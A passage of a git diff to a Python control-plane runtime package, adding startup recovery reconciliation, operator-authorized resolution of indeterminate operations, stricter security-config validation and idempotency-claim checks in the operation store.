guarantees=(), + nonclaims=_claims( + ( + "future-coordination", + "Coordination, fencing, scheduling, cache coherence, and tenant isolation " + "require a future decision.", + ), + ), + one_target_per_store=False, + one_run_per_store=False, + actor_boundary=ControlPlaneActorBoundary.UNAVAILABLE, + recovery_observation=RecoveryObservationRequirement.FUTURE_UNSPECIFIED, + required_capabilities=frozenset(), + available=False, + ), + } +) + + +def profile_declaration(profile: ControlPlaneProfile) -> ControlPlaneProfileDeclaration: + """Return the canonical immutable declaration for a closed profile id.""" + + if not isinstance(profile, ControlPlaneProfile): + raise TypeError("control-plane profile must be a ControlPlaneProfile value") + return _DECLARATIONS[profile] + + +def select_profile(profile: ControlPlaneProfile) -> ControlPlaneProfileDeclaration: + declaration = profile_declaration(profile) + if not declaration.available: + raise ValueError(f"control-plane profile {profile.value} is unavailable") + return declaration + + +def store_capabilities(store: object) -> frozenset[ControlPlaneCapability]: + declaration = getattr(store, "control_plane_capabilities", None) + if declaration is None: + return frozenset() + if not isinstance(declaration, ControlPlaneStoreCapabilities): + raise TypeError("control-plane store has an invalid capability declaration") + return declaration.capabilities + + +def require_profile_capabilities( + declaration: ControlPlaneProfileDeclaration, + available: frozenset[ControlPlaneCapability], +) -> None: + missing = sorted(item.value for item in declaration.required_capabilities - available) + if missing: + raise TypeError(f"control-plane profile {declaration.profile.value} missing capabilities: {', '.join(missing)}") + + +__all__ = ( + "CORE_CAPABILITIES", + "ControlPlaneActorBoundary", + "ControlPlaneCapability", + "ControlPlaneClaim", + "ControlPlaneProfile", + "ControlPlaneProfileDeclaration", + "ControlPlaneStoreCapabilities", + "RecoveryObservationRequirement", + "profile_declaration", + "require_profile_capabilities", + "select_profile", + "store_capabilities", +) diff --git a/implementations/python/packages/raes_runtime/control_plane_recovery.py b/implementations/python/packages/raes_runtime/control_plane_recovery.py index fb0224ac0..8a3c99e76 100644 --- a/implementations/python/packages/raes_runtime/control_plane_recovery.py +++ b/implementations/python/packages/raes_runtime/control_plane_recovery.py @@ -1,10 +1,472 @@ -"""Compatibility tombstone for the removed record-only recovery writer. - -Interrupted accepted and running operations remain durably claimed until a -governed recovery flow can commit a complete snapshot, terminal record, and -actor-bound audit. This module intentionally exposes no recovery function. -""" +"""Runtime-owned startup reconciliation and linked administrative resolution.""" from __future__ import annotations -__all__: tuple[str, ...] = () +from collections.abc import Mapping +from copy import deepcopy +from dataclasses import replace +from uuid import uuid4 + +from raes_backend_protocols.recovery_observation import ( + RecoveryEffectClassification, + RecoveryObservationRequest, + RecoveryObservationResult, + RecoveryObserver, +) +from raes_contracts.diagnostics import Diagnostic, Severity +from raes_contracts.operation_lifecycle import OperationAdmissionContext +from raes_contracts.runtime_state import ( + ApplyResult, + OperationKind, + OperationReceipt, + OperationState, + OperationStatus, + RuntimeSnapshot, + operation_terminal_diagnostics, +) + +from .backend_calls import _BackendCallContext, _RealizationApplyContext, _validated_backend_result +from .control_plane_execution import _utc_now +from .control_plane_lifecycle import runtime_owned +from .control_plane_mutation import control_plane_mutation, external_control_plane_call, mutation_entry +from .control_plane_operation_context import ( + legacy_operation_request_commitment, + operation_admission_context, +) +from .control_plane_resolution_records import IndeterminateResolutionDisposition, is_valid_resolution_child +from .control_plane_store import ( + ControlPlaneOperationRecord, + NewClaimRejected, + TerminalCommitMode, +) +from .mixed_runtime_recovery import require_resolvable_mixed_action_cut, requires_mixed_stage_reconciliation + + +class RuntimeRecoveryMixin: + """Runtime-owned administrative recovery entry points.""" + + @runtime_owned + @mutation_entry(OperationKind.INDETERMINATE_RESOLUTION) + def resolve_indeterminate_operation( + self, + operation_id: str, + *, + disposition: IndeterminateResolutionDisposition, + idempotency_key: str, + identity: object | None = None, + ) -> OperationReceipt: + self._assert_runtime_owner() + return resolve_indeterminate_operation( + self, + operation_id, + disposition=disposition, + idempotency_key=idempotency_key, + identity=identity, + ) + + +_RECOVERY_ADDRESS = "runtime.control-plane.recovery" +_RECOVERY_ABSENT = Diagnostic( + code="runtime.control-plane.recovery-effect-absent", + domain="runtime", + address=_RECOVERY_ADDRESS, + message="Recovery observation established that the interrupted effect was absent.", +) +_RECOVERY_APPLIED = Diagnostic( + code="runtime.control-plane.recovery-effect-applied", + domain="runtime", + address=_RECOVERY_ADDRESS, + message="Recovery observation established and validated the interrupted effect.", + severity=Severity.INFO, +) +_RECOVERY_UNOBSERVABLE = Diagnostic( + code="runtime.control-plane.recovery-effect-unobservable", + domain="runtime", + address=_RECOVERY_ADDRESS, + message="The interrupted effect could not be established by recovery observation.", +) + + +def reconcile_startup_operations(control_plane: object) -> None: + """Classify every durable non-terminal claim before runtime readiness.""" + + records = sorted( + ( + record + for record in control_plane._operations.values() + if record.status.state in {OperationState.ACCEPTED, OperationState.RUNNING} + ), + key=lambda record: (record.receipt.submitted_at, record.receipt.operation_id), + ) + if not records: + return + with control_plane_mutation(control_plane, records[0].status.context.operation_kind): + for record in records: + _reconcile_record(control_plane, record) + + +def _reconcile_record(control_plane: object, record: ControlPlaneOperationRecord) -> None: + if record.status.state is OperationState.ACCEPTED: + _reconcile_accepted_record(control_plane, record) + else: + _reconcile_running_record(control_plane, record) + + +def _reconcile_accepted_record(control_plane: object, record: ControlPlaneOperationRecord) -> None: + state = OperationState.CANCELLED + diagnostic = _RECOVERY_ABSENT + if not _accepted_claim_has_write_ahead_provenance(record): + state = OperationState.INDETERMINATE + diagnostic = _RECOVERY_UNOBSERVABLE + _commit_recovery_terminal( + control_plane, + record, + state=state, + diagnostics=[diagnostic], + mode=TerminalCommitMode.OPERATION_ONLY, + ) + + +def _reconcile_running_record(control_plane: object, record: ControlPlaneOperationRecord) -> None: + classification, applied = _observe_running_record(control_plane, record) + if classification is RecoveryEffectClassification.EFFECT_ABSENT: + state = OperationState.FAILED + diagnostics = [_RECOVERY_ABSENT] + mode = TerminalCommitMode.OPERATION_ONLY + snapshot = None + changed_addresses = None + elif classification is RecoveryEffectClassification.EFFECT_APPLIED and applied is not None: + state = OperationState.SUCCEEDED + diagnostics = [_RECOVERY_APPLIED, *applied.diagnostics] + mode = TerminalCommitMode.SNAPSHOT_BEARING + snapshot = applied.snapshot + changed_addresses = list(applied.changed_addresses) + else: + state = OperationState.INDETERMINATE + diagnostics = [_RECOVERY_UNOBSERVABLE] + mode = TerminalCommitMode.OPERATION_ONLY + snapshot = None + changed_addresses = None + _commit_recovery_terminal( + control_plane, + record, + state=state, + diagnostics=diagnostics, + mode=mode, + snapshot=snapshot, + changed_addresses=changed_addresses, + ) + + +def _accepted_claim_has_write_ahead_provenance(record: ControlPlaneOperationRecord) -> bool: + """Exclude migrated claims whose pre-effect ordering cannot be established.""" + + return "legacy:unattributed" not in record.status.context.authorization_scope + + +def _observe_running_record( + control_plane: object, + record: ControlPlaneOperationRecord, +) -> tuple[RecoveryEffectClassification, ApplyResult | None]: + kind = record.status.context.operation_kind + if requires_mixed_stage_reconciliation(control_plane, record): + return RecoveryEffectClassification.INDETERMINATE, None + if kind is OperationKind.COMPOSITION_PHASE: + observation = (RecoveryEffectClassification.EFFECT_ABSENT, None) + else: + target = _recovery_target(control_plane, record) + observation = _observe_recovery_target(control_plane, record, target) + return observation + + +def _recovery_target(control_plane: object, record: ControlPlaneOperationRecord) -> object | None: + target = control_plane._target + kind = record.status.context.operation_kind + mixed_history = "mixed_composition_history:" + mixed_record = any(key.startswith(mixed_history) for key in record.decision_history_heads) + if ( + getattr(control_plane, "_mixed_runtime", None) is not None + and mixed_record + and kind in {OperationKind.PARTICIPANT_ACTION, OperationKind.PARTICIPANT_CROSSING} + ): + from .mixed_runtime_dispatch import mixed_recovery_target + + target = mixed_recovery_target(control_plane, record.receipt.operation_id) + return target + + +def _observe_recovery_target( + control_plane: object, + record: ControlPlaneOperationRecord, + target: object | None, +) -> tuple[RecoveryEffectClassification, ApplyResult | None]: + kind = record.status.context.operation_kind + if target is None: + return RecoveryEffectClassification.INDETERMINATE, None + observer = target.recovery_observer + capability = target.manifest.recovery_observation + if observer is None or capability is None or kind not in capability.supported_operation_kinds: + return RecoveryEffectClassification.INDETERMINATE, None + baseline = deepcopy(control_plane._snapshot) + request = RecoveryObservationRequest( + operation_id=record.receipt.operation_id, + operation_kind=kind, + target_scope=record.status.context.target_scope, + run_scope=record.status.context.run_scope, + request_commitment=record.status.context.request_commitment, + baseline_snapshot=deepcopy(baseline), + ) + result = _bound_observation_result(control_plane, observer, request) + classification = RecoveryEffectClassification.INDETERMINATE + applied = None + if result is not None: + classification = result.classification + if classification is RecoveryEffectClassification.EFFECT_APPLIED: + applied = _validated_applied_observation(control_plane, record, baseline, result) + if applied is None: + classification = RecoveryEffectClassification.INDETERMINATE + return classification, applied + + +def _bound_observation_result( + control_plane: object, + observer: RecoveryObserver, + request: RecoveryObservationRequest, +) -> RecoveryObservationResult | None: + try: + with external_control_plane_call(control_plane): + result = observer.observe_effect(request) + except Exception: + return None + if not isinstance(result, RecoveryObservationResult) or ( + result.operation_id != request.operation_id or result.request_commitment != request.request_commitment + ): + return None + return result + + +def _validated_applied_observation( + control_plane: object, + record: ControlPlaneOperationRecord, + baseline: RuntimeSnapshot, + result: RecoveryObservationResult, +) -> ApplyResult | None: + assert result.snapshot is not None + candidate = ApplyResult( + success=True, + snapshot=result.snapshot, + changed_addresses=list(result.changed_addresses), + ) + validated = _validated_backend_result( + candidate, + address=_RECOVERY_ADDRESS, + baseline_snapshot=baseline, + realization=_RealizationApplyContext(), + call=_BackendCallContext( + operation_id=record.receipt.operation_id, + information_state_context_resolver=getattr( + control_plane, + "_information_state_context_resolver", + None, + ), + ), + ) + return validated if validated.success else None + + +def _commit_recovery_terminal( + control_plane: object, + record: ControlPlaneOperationRecord, + *, + state: OperationState, + diagnostics: list[Diagnostic], + mode: TerminalCommitMode, + snapshot: RuntimeSnapshot | None = None, + changed_addresses: list[str] | None = None, +) -> None: + status = replace( + record.status, + state=state, + updated_at=_utc_now(), + diagnostics=operation_terminal_diagnostics( + state, + [*record.status.diagnostics, *diagnostics], + ), + changed_addresses=list(changed_addresses or []), + ) + control_plane._commit_terminal_operation( + control_plane._snapshot if snapshot is None else snapshot, + replace(record, status=status), + mode=mode, + ) + + +def unresolved_indeterminate_operation_ids( + control_plane: object, + *, + target_scope: str | None = None, + run_scope: str | None = None, +) -> tuple[str, ...]: + """Return immutable indeterminate parents without a successful resolution child.""" + + records = control_plane._store.load_records() + return unresolved_indeterminate_operation_ids_from_records( + records, + target_scope=target_scope, + run_scope=run_scope, + ) + + +def unresolved_indeterminate_operation_ids_from_records( + records: Mapping[str, ControlPlaneOperationRecord], + *, + target_scope: str | None = None, + run_scope: str | None = None, +) -> tuple[str, ...]: + """Classify unresolved parents from an already-authoritative record cut.""" + + resolved = { + parent_id + for record in records.values() + if (parent_id := record.status.context.parent_operation_id) is not None + and (parent := records.get(parent_id)) is not None + and is_valid_resolution_child(parent, record) + } + return tuple( + sorted( + operation_id + for operation_id, record in records.items() + if record.status.state is OperationState.INDETERMINATE + and operation_id not in resolved + and (target_scope is None or record.status.context.target_scope == target_scope) + and (run_scope is None or record.status.context.run_scope == run_scope) + ) + ) + + +def resolve_indeterminate_operation( + control_plane: object, + operation_id: str, + *, + disposition: IndeterminateResolutionDisposition, + idempotency_key: str, + identity: object | None, +) -> OperationReceipt: + """Record a separately authorized linked administrative disposition.""" + + if not isinstance(disposition, IndeterminateResolutionDisposition): + raise TypeError("disposition must be an IndeterminateResolutionDisposition") + with control_plane_mutation(control_plane, OperationKind.INDETERMINATE_RESOLUTION): + control_plane._reload_derived_state() + parent = control_plane._operations.get(operation_id) + if parent is None: + raise KeyError("indeterminate operation was not found") + context = operation_admission_context( + control_plane, + kind=OperationKind.INDETERMINATE_RESOLUTION, + request={"disposition": disposition.value}, + identity=identity, + run_scope=parent.status.context.run_scope, + parent_operation_id=operation_id, + ) + _authorize_resolution(control_plane, parent, context, identity) + if parent.status.state is not OperationState.INDETERMINATE: + raise ValueError("resolution parent must be indeterminate") + require_resolvable_mixed_action_cut(control_plane, parent) + if not idempotency_key: + raise ValueError("resolution requires an idempotency key") + if idempotency_key == parent.idempotency_key: + raise ValueError("resolution requires a fresh idempotency key") + child_id = str(uuid4()) + submitted_at = _utc_now() + receipt = OperationReceipt( + operation_id=child_id, + domain=parent.receipt.domain, + submitted_at=submitted_at, + accepted=True, + context=context, + ) + running = OperationStatus( + operation_id=child_id, + domain=parent.receipt.domain, + state=OperationState.RUNNING, + submitted_at=submitted_at, + updated_at=submitted_at, + context=context, + ) + try: + claimed = control_plane._claim_record( + ControlPlaneOperationRecord( + receipt=receipt, + status=running, + request_fingerprint=context.request_commitment, + idempotency_key=idempotency_key, + ), + legacy_request_fingerprint=legacy_operation_request_commitment( + kind=OperationKind.INDETERMINATE_RESOLUTION, + request={"disposition": disposition.value}, + ), + new_claim_blocked=( + "current-state" + if operation_id not in unresolved_indeterminate_operation_ids(control_plane) + else None + ), + ) + except NewClaimRejected: + raise ValueError("indeterminate operation is already resolved") from None + if claimed.receipt.operation_id != child_id: + return claimed.receipt + terminal = replace(running, state=OperationState.SUCCEEDED, updated_at=_utc_now()) + control_plane._commit_terminal_operation( + control_plane._snapshot, + ControlPlaneOperationRecord( + receipt=receipt, + status=terminal, + request_fingerprint=context.request_commitment, + idempotency_key=idempotency_key, + result_payload={"resolution_disposition": disposition.value}, + ), + mode=TerminalCommitMode.OPERATION_ONLY, + ) + return receipt + + +def _authorize_resolution( + control_plane: object, + parent: ControlPlaneOperationRecord, + context: OperationAdmissionContext, + identity: object | None, +) -> None: + roles = {getattr(role, "value", role) for role in getattr(identity, "roles", ())} + target_name = getattr(identity, "target_name", None) + required_subjects = { + scope for scope in parent.status.context.authorization_scope if scope.startswith("participant-control:") + } + supplied_scopes = set(context.authorization_scope) + allowed = ( + "operator" in roles + and target_name == control_plane._target.name + and parent.status.context.target_scope == context.target_scope + and parent.status.context.run_scope == context.run_scope + and required_subjects.issubset(supplied_scopes) + ) + if allowed: + return + control_plane.record_audit( + action="resolve_indeterminate_operation", + identity=getattr(identity, "identity", "unattributed"), + allowed=False, + target=parent.status.context.target_scope, + operation_id=parent.receipt.operation_id, + reason="resolution-forbidden", + ) + raise PermissionError("indeterminate resolution is forbidden") + + +__all__ = ( + "IndeterminateResolutionDisposition", + "RuntimeRecoveryMixin", + "reconcile_startup_operations", + "resolve_indeterminate_operation", + "unresolved_indeterminate_operation_ids", +) diff --git a/implementations/python/packages/raes_runtime/control_plane_resolution_records.py b/implementations/python/packages/raes_runtime/control_plane_resolution_records.py new file mode 100644 index 000000000..3c2fee5d1 --- /dev/null +++ b/implementations/python/packages/raes_runtime/control_plane_resolution_records.py @@ -0,0 +1,45 @@ +"""Durable classification of linked administrative resolution records.""" + +from __future__ import annotations + +from enum import Enum + +from raes_contracts.runtime_state import OperationKind, OperationState + +from .control_plane_store import ControlPlaneOperationRecord +from .mixed_runtime_recovery import has_mixed_resolution_cut + + +class IndeterminateResolutionDisposition(str, Enum): + """Closed administrative acceptance of the currently stored state cut.""" + + ACCEPT_CURRENT_SNAPSHOT = "accept-current-snapshot" + + +def is_valid_resolution_child( + parent: ControlPlaneOperationRecord, + child: ControlPlaneOperationRecord, +) -> bool: + """Recognize a child only when it can safely discharge its parent.""" + + context = child.status.context + same_scope = (context.target_scope, context.run_scope) == ( + parent.status.context.target_scope, + parent.status.context.run_scope, + ) + return ( + not has_mixed_resolution_cut(parent) + and parent.status.state is OperationState.INDETERMINATE + and child.status.state is OperationState.SUCCEEDED + and context.operation_kind is OperationKind.INDETERMINATE_RESOLUTION + and context.parent_operation_id == parent.receipt.operation_id + and same_scope + and "role:operator" in context.authorization_scope + and bool(child.idempotency_key) + and child.idempotency_key != parent.idempotency_key + and child.result_payload + == {"resolution_disposition": IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT.value} + ) + + +__all__ = ("IndeterminateResolutionDisposition", "is_valid_resolution_child") diff --git a/implementations/python/packages/raes_runtime/control_plane_security.py b/implementations/python/packages/raes_runtime/control_plane_security.py index 7ac053a74..f73213a6c 100644 --- a/implementations/python/packages/raes_runtime/control_plane_security.py +++ b/implementations/python/packages/raes_runtime/control_plane_security.py @@ -2,11 +2,17 @@ from __future__ import annotations +import re from collections.abc import Mapping from dataclasses import dataclass, field from enum import Enum from types import MappingProxyType +from pydantic import TypeAdapter, ValidationError +from raes_contracts.operation_lifecycle import OperationAdmissionContext + +from .control_plane_operation_context import operation_actor_scope + class ControlPlaneRole(str, Enum): """Authorization roles for control-plane callers.""" @@ -16,6 +22,71 @@ class ControlPlaneRole(str, Enum): AUDITOR = "auditor" +class ControlPlaneRouteAuthority(str, Enum): + """Transport authority that one served P2 route declares. + + P2 is a host-mediated, administrative-only surface (issue #1356). Every + authority except the value-free public probe admits a privileged, + target-bound service identity; none is participant, controller or + disclosure authority. Participant/audience and participant/controller + bindings are applied by the core operation after this admission. + """ + + PUBLIC_PROBE = "public-probe" + ADMINISTRATIVE_READ = "administrative-read" + ADMINISTRATIVE_MUTATION = "administrative-mutation" + OPERATOR_RESOLUTION = "operator-resolution" + + +ROUTE_AUTHORITY_ROLES: Mapping[ControlPlaneRouteAuthority, frozenset[ControlPlaneRole]] = MappingProxyType( + { + ControlPlaneRouteAuthority.ADMINISTRATIVE_READ: frozenset( + {ControlPlaneRole.BACKEND, ControlPlaneRole.OPERATOR, ControlPlaneRole.AUDITOR} + ), + ControlPlaneRouteAuthority.ADMINISTRATIVE_MUTATION: frozenset( + {ControlPlaneRole.BACKEND, ControlPlaneRole.OPERATOR} + ), + ControlPlaneRouteAuthority.OPERATOR_RESOLUTION: frozenset({ControlPlaneRole.OPERATOR}), + } +) +"""Roles admitted by each authenticated route authority. + +A read role admits full snapshots and operational reads as well as participant +views (API-404-C3); an audience binding does not narrow it. +""" + +_MUTATING_METHODS = frozenset({"POST", "PUT", "PATCH", "DELETE"}) +ROUTE_AUTHORITY_METHODS: Mapping[ControlPlaneRouteAuthority, frozenset[str]] = MappingProxyType( + { + ControlPlaneRouteAuthority.PUBLIC_PROBE: frozenset({"GET"}), + ControlPlaneRouteAuthority.ADMINISTRATIVE_READ: frozenset({"GET"}), + ControlPlaneRouteAuthority.ADMINISTRATIVE_MUTATION: _MUTATING_METHODS, + ControlPlaneRouteAuthority.OPERATOR_RESOLUTION: _MUTATING_METHODS, + } +) +"""HTTP methods each route authority may serve. + +Read authorities admit the auditor role, so they must never front a state change; +mutating authorities must never be reachable by a safe method. +""" + + +def _require_binding_fields(participant_address: object, subject_ref: object, *, kind: str) -> None: + """Require non-empty string binding fields that encode unambiguously as scopes. + + Bindings become ``participant-{kind}:{participant_address}:{subject_ref}`` + authorization scopes, and readback splits them after the participant prefix, + so a participant address must not contain ``:``. + """ + + if not isinstance(participant_address, str) or not isinstance(subject_ref, str): + raise ValueError(f"participant {kind} subject binding fields must be strings") + if not participant_address or not subject_ref: + raise ValueError(f"participant {kind} subject binding fields must be non-empty") + if ":" in participant_address: + raise ValueError(f"participant {kind} subject binding address must not contain ':'") + + @dataclass(frozen=True) class ParticipantControlSubjectBinding: """One authenticated principal-to-participant/controller binding.""" @@ -24,8 +95,7 @@ class ParticipantControlSubjectBinding: controller_ref: str def __post_init__(self) -> None: - if not self.participant_address or not self.controller_ref: - raise ValueError("participant control subject binding fields must be non-empty") + _require_binding_fields(self.participant_address, self.controller_ref, kind="control") @dataclass(frozen=True) @@ -36,8 +106,7 @@ class ParticipantAudienceSubjectBinding: audience_scope_ref: str def __post_init__(self) -> None: - if not self.participant_address or not self.audience_scope_ref: - raise ValueError("participant audience subject binding fields must be non-empty") + _require_binding_fields(self.participant_address, self.audience_scope_ref, kind="audience") @dataclass(frozen=True) @@ -51,6 +120,72 @@ class ControlPlaneIdentity: participant_audience_subjects: tuple[ParticipantAudienceSubjectBinding, ...] = () +def _require_identity_headers(verified: str, identity: str) -> None: + headers = (verified, identity) + if any(not isinstance(name, str) or not re.fullmatch(r"[!#$%&'*+.^_`|~0-9A-Za-z-]+", name) for name in headers): + raise ValueError("identity header names must be valid HTTP field names") + normalized = {name.lower() for name in headers} + if len(normalized) != 2 or "authorization" in normalized: + raise ValueError("identity headers must be distinct and must not alias Authorization") + + +# The operation context owns these bounds; reuse its field constraints directly. +_OPERATION_ACTOR = TypeAdapter(OperationAdmissionContext.model_fields["actor_id"].rebuild_annotation()) +_OPERATION_AUTHORIZATION_SCOPE = TypeAdapter( + OperationAdmissionContext.model_fields["authorization_scope"].rebuild_annotation() +) + + +def _require_principal_shape(principal: ControlPlaneIdentity) -> None: + """Reject configured principals whose authority fields are mistyped or mutable. + + Annotations do not validate: a mutable role set or binding list could grant + authority after the principal maps are frozen, and a mistyped role or + binding would silently change admission. Messages stay value-free. + """ + + roles = principal.roles + if not isinstance(roles, frozenset) or not all(isinstance(role, ControlPlaneRole) for role in roles): + raise ValueError("configured principal roles must be a frozenset of ControlPlaneRole") + target_name = principal.target_name + if target_name is not None and (not isinstance(target_name, str) or not target_name.strip()): + raise ValueError("configured principal target must be a non-empty string") + for bindings, binding_type in ( + (principal.participant_control_subjects, ParticipantControlSubjectBinding), + (principal.participant_audience_subjects, ParticipantAudienceSubjectBinding), + ): + if not isinstance(bindings, tuple) or not all(isinstance(binding, binding_type) for binding in bindings): + raise ValueError(f"configured principal subject bindings must be a tuple of {binding_type.__name__}") + # Reuse the canonical actor/scope derivation so an over-bound principal + # fails here rather than at its first admitted request or audit event. + actor, authorization_scope = operation_actor_scope(principal) + try: + _OPERATION_ACTOR.validate_python(actor) + except ValidationError: + raise ValueError("configured principal identity exceeds the operation-context bound") from None + try: + _OPERATION_AUTHORIZATION_SCOPE.validate_python(authorization_scope) + except ValidationError: + raise ValueError("configured principal authorization scope exceeds the operation-context bound") from None + + +def _frozen_principals(principals: Mapping[str, ControlPlaneIdentity]) -> Mapping[str, ControlPlaneIdentity]: + copied = dict(principals) + for key, principal in copied.items(): + # Presented bearer tokens and header values arrive stripped, so a key with + # surrounding whitespace (a secret file's trailing newline) could never match. + if not isinstance(key, str) or not key.strip() or key != key.strip(): + raise ValueError("configured credentials and principal names must be non-empty and unpadded") + if ( + not isinstance(principal, ControlPlaneIdentity) + or not isinstance(principal.identity, str) + or not principal.identity.strip() + ): + raise ValueError("configured principal must have a non-empty identity") + _require_principal_shape(principal) + return MappingProxyType(copied) + + @dataclass(frozen=True) class ControlPlaneSecurityConfig: """Reference security settings for the HTTP/JSON control-plane adapter. @@ -70,16 +205,24 @@ class ControlPlaneSecurityConfig: bearer_tokens: Mapping[str, ControlPlaneIdentity] = field(default_factory=dict) def __post_init__(self) -> None: - if self.max_pending_mutations <= 0: - raise ValueError("max_pending_mutations must be positive") - if self.max_pending_rejection_audits <= 0: - raise ValueError("max_pending_rejection_audits must be positive") + _require_identity_headers(self.verified_header, self.identity_header) + # A truthy non-bool (for example the string "false" read from env or YAML) + # must not silently enable header trust or disable verification. + for name in ("require_verified_identity", "trust_proxy_identity_headers"): + if type(getattr(self, name)) is not bool: + raise ValueError(f"{name} must be a bool") + for name in ("max_request_bytes", "max_pending_mutations", "max_pending_rejection_audits"): + value = getattr(self, name) + if type(value) is not int: + raise ValueError(f"{name} must be an int") + if value <= 0: + raise ValueError(f"{name} must be positive") # ``frozen=True`` only blocks rebinding the attributes; a caller (or a # later code path) could still mutate the underlying dicts and grant # principals or tokens after construction, defeating ``strict_defaults``. # Read-only proxies keep dict equality while blocking that mutation. - object.__setattr__(self, "trusted_identities", MappingProxyType(dict(self.trusted_identities))) - object.__setattr__(self, "bearer_tokens", MappingProxyType(dict(self.bearer_tokens))) + object.__setattr__(self, "trusted_identities", _frozen_principals(self.trusted_identities)) + object.__setattr__(self, "bearer_tokens", _frozen_principals(self.bearer_tokens)) @classmethod def strict_defaults(cls) -> ControlPlaneSecurityConfig: diff --git a/implementations/python/packages/raes_runtime/control_plane_store.py b/implementations/python/packages/raes_runtime/control_plane_store.py index 5a6684264..04008195b 100644 --- a/implementations/python/packages/raes_runtime/control_plane_store.py +++ b/implementations/python/packages/raes_runtime/control_plane_store.py @@ -4,10 +4,13 @@ from __future__ import annotations +from collections.abc import Iterable from dataclasses import dataclass, field -from typing import Any, Protocol +from typing import Any, Literal, Protocol, runtime_checkable from raes_contracts.runtime_state import ( + OperationAdmissionContext, + OperationKind, OperationReceipt, OperationState, OperationStatus, @@ -16,6 +19,7 @@ operation_transition_diagnostic, ) +from .control_plane_audit import require_audit_event_fields from .control_plane_store_revision import ( SnapshotRevisionConflict, SnapshotState, @@ -32,6 +36,48 @@ participant_crossing_history_presence = _store_types.participant_crossing_history_presence _IDEMPOTENCY_KEY_CONFLICT = "idempotency key already belongs to another operation" +IDEMPOTENCY_CLAIM_CONFLICT = "idempotency claim conflicts with the original request" + +IdempotencyClaimIdentity = tuple[str, OperationKind, str] +NewClaimBlock = Literal["current-state", "indeterminate", "stale-base-snapshot"] | None +_MAX_IDEMPOTENCY_KEY_LENGTH = 256 +_MIXED_CLAIM_KINDS = frozenset( + {OperationKind.COMPOSITION_PHASE, OperationKind.PARTICIPANT_ACTION, OperationKind.PARTICIPANT_CROSSING} +) +_ACTIVE_CLAIM_STATES = frozenset({OperationState.ACCEPTED, OperationState.RUNNING, OperationState.INDETERMINATE}) + + +def mixed_claim_conflicts( + new: ControlPlaneOperationRecord, + existing_records: Iterable[ControlPlaneOperationRecord], +) -> bool: + """Serialize external mixed effects in one run at the store claim.""" + + context = new.status.context + if context.operation_kind not in _MIXED_CLAIM_KINDS: + return False + mixed_keys = { + key + for key in (*new.decision_history_heads, *new.result_history_heads) + if key.startswith("mixed_composition_history:") + } + if not mixed_keys: + return False + return any(_active_mixed_claim_overlaps(context, mixed_keys, existing) for existing in existing_records) + + +def _active_mixed_claim_overlaps( + context: OperationAdmissionContext, + mixed_keys: set[str], + existing: ControlPlaneOperationRecord, +) -> bool: + prior = existing.status.context + if (prior.target_scope, prior.run_scope) != (context.target_scope, context.run_scope): + return False + if prior.operation_kind not in _MIXED_CLAIM_KINDS or existing.status.state not in _ACTIVE_CLAIM_STATES: + return False + prior_keys = set(existing.decision_history_heads) | set(existing.result_history_heads) + return bool(mixed_keys.intersection(prior_keys)) @dataclass(frozen=True) @@ -47,6 +93,17 @@ class AuditEvent: reason: str = "" details: dict[str, Any] = field(default_factory=dict) + def __post_init__(self) -> None: + require_audit_event_fields( + timestamp=self.timestamp, + action=self.action, + identity=self.identity, + target=self.target, + operation_id=self.operation_id, + reason=self.reason, + details=self.details, + ) + @dataclass(frozen=True) class ControlPlaneOperationRecord: @@ -59,6 +116,7 @@ class ControlPlaneOperationRecord: result_payload: dict[str, Any] | None = None decision_history_heads: dict[str, str | None] = field(default_factory=dict) result_history_heads: dict[str, str | None] = field(default_factory=dict) + legacy_request_commitment: bool = False def __post_init__(self) -> None: _require_operation_record_identity(self) @@ -81,6 +139,64 @@ def _require_operation_record_identity(record: ControlPlaneOperationRecord) -> N raise ValueError("denied operation receipts cannot be persisted") +def idempotency_claim_identity( + context: OperationAdmissionContext, + key: str, +) -> IdempotencyClaimIdentity: + """Return the provider-private claim identity inside one target/run store.""" + + return (context.actor_id, context.operation_kind, key) + + +def require_idempotency_key(key: str) -> str: + """Validate the one client-key shape used by every operation family.""" + + if not isinstance(key, str): + raise TypeError("Idempotency-Key must be a string") + if key and (len(key) > _MAX_IDEMPOTENCY_KEY_LENGTH or any(character < "!" or character > "~" for character in key)): + raise ValueError("Idempotency-Key must be 1-256 visible ASCII characters") + return key + + +def _require_same_idempotency_replay( + existing: ControlPlaneOperationRecord, + candidate: ControlPlaneOperationRecord, + *, + legacy_request_fingerprint: str = "", +) -> None: + """Authorize one replay without disclosing the incumbent on mismatch.""" + + existing_context = existing.receipt.context + candidate_context = candidate.receipt.context + context_matches = existing_context == candidate_context + fingerprint_matches = existing.request_fingerprint == candidate.request_fingerprint + if existing.legacy_request_commitment and legacy_request_fingerprint: + context_matches = ( + existing_context.model_copy(update={"request_commitment": candidate_context.request_commitment}) + == candidate_context + ) + fingerprint_matches = existing.request_fingerprint == legacy_request_fingerprint + if ( + not context_matches + or not fingerprint_matches + or candidate.decision_history_heads not in (existing.decision_history_heads, existing.result_history_heads) + ): + raise ValueError(IDEMPOTENCY_CLAIM_CONFLICT) + + +def _raise_new_claim_block(block: NewClaimBlock) -> None: + if block == "current-state": + raise NewClaimRejected + if block == "indeterminate": + raise RuntimeError("indeterminate operation requires resolution before effectful mutation") + if block == "stale-base-snapshot": + raise ValueError("explicit base snapshot does not match the authoritative runtime snapshot") + + +class NewClaimRejected(RuntimeError): + """Signal that current state forbids creation after incumbent resolution.""" + + def _require_same_operation_identity( existing: ControlPlaneOperationRecord, replacement: ControlPlaneOperationRecord, @@ -223,6 +339,8 @@ def save_record(self, record: ControlPlaneOperationRecord) -> None: ... def find_by_idempotency( self, key: str, + *, + context: OperationAdmissionContext | None = None, ) -> ControlPlaneOperationRecord | None: ... def append_audit(self, event: AuditEvent) -> None: ... @@ -254,7 +372,13 @@ def commit_participant_transition( class AtomicControlPlaneStore(ControlPlaneStore, Protocol): """Crash-atomic claim and terminal commit capabilities.""" - def claim_record(self, record: ControlPlaneOperationRecord) -> ControlPlaneOperationRecord: ... + def claim_record( + self, + record: ControlPlaneOperationRecord, + *, + legacy_request_fingerprint: str = "", + new_claim_blocked: NewClaimBlock = None, + ) -> ControlPlaneOperationRecord: ... def commit_terminal_operation( self, @@ -267,6 +391,26 @@ def commit_terminal_operation( ) -> SnapshotState: ... +@runtime_checkable +class RuntimeAdmittedControlPlaneStore(Protocol): + """Durable provider that must be admitted before any store access.""" + + def admit_runtime(self, *, target_scope: str, run_scope: str) -> object: ... + + def close(self) -> None: ... + + +def require_operation_record_scopes( + records: dict[str, 